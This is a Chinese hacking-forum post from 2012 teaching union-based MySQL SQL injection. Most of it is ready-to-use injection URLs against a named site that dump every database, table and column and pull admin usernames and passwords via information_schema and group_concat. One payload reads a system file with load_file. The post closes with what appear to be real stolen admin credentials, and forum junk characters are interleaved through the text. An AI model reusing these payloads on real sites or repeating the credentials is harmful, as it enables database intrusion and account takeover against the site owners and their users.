找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2306|回复: 0
打印 上一主题 下一主题

mysql注入高效方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:37:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似5 U- C* O6 \( x, w; ^) H; _: @
但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人
* S5 |; H& t0 _4 S' \+ ?& X0 g' a" ?) k4 o+ q

$ W4 F6 Y1 i% S- G优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入- y/ P% Y" o, o. ]. i
( `, S3 ~% `+ ?/ |# w/ i' _
缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...6 S4 G: @" U+ B1 k$ }0 ]
9 I! w2 O1 M( C( X1 ~0 k
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示7 Z. _  o; {6 ?! W
在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ ,  + 等等
& C3 {0 N/ Y; {
6 ]: a7 x7 _: @2 uhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17, a0 P( ]& g3 h9 @3 ?0 }, k
" K* M8 {; Q4 `' _) @2 W
读出所有库:
2 X! B: V% k6 F, d' yhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA
7 D! W. p  S7 e' ^3 f9 B1 h5 Y
$ s  E. s7 V9 C& O
6 t) n7 {) ]8 f
3 _3 o  `9 _$ h; C. P" R$ g读出所有表:, z4 J3 o6 ?. z7 [
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()
6 B; ^, j2 L/ _( Y3 J. C- G  S& N6 M+ w5 m& X  v
读出所有表字段:! a/ z; D/ T. P4 t( d. _1 P
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)
2 u7 B; w% A% v4 \3 Y; e# S*/ (97,100,109,105,110)为admin的ascii码 依次类推
4 u  b0 V4 y, X0 i
+ v  i7 Z2 |, {0 a- j& H读出所有表字段里的内容:% Q2 A6 U4 H) A' Q$ J, l2 B: L3 i0 d
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin
7 Q3 `  T" A1 _! q  g+ s1 F* J6 f6 T- E4 x7 \' w! K2 u
- d( a/ v; H2 }. p$ j$ [: @: q

  A. @* W' F6 q) u: Q1 T9 N. P! H: b& f  q, r" A' W
/ T1 A* P6 ?; B- ^4 J

. w9 ?( q% Q$ p* [  |1 U) xhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%237 _* M9 |8 p1 U$ p9 l4 i

4 C& M9 b7 i: ^% l
: u! e* F$ F1 h/ c6 U- `1 qhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
' b  D# i$ v! B, a% \' ?4 J' ~0 q
& Z: e5 i' c* r+ u0 Phttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23+ K( o: D+ y1 L+ E+ V) j! w8 }/ Q
4 J( i, x9 j( h/ u5 u& M

! T3 E6 O- Y, k! b4 [http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23$ ~% S: T: H# G, |3 W' E" \6 \3 _! F

5 `8 X9 c" i0 H7 C. K' _9 J6 B; J+ u$ u  p1 a5 `
        webmaster:dzb521123,simlab:simadmin20043233+ ^1 l4 I, q5 h- A: @8 f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表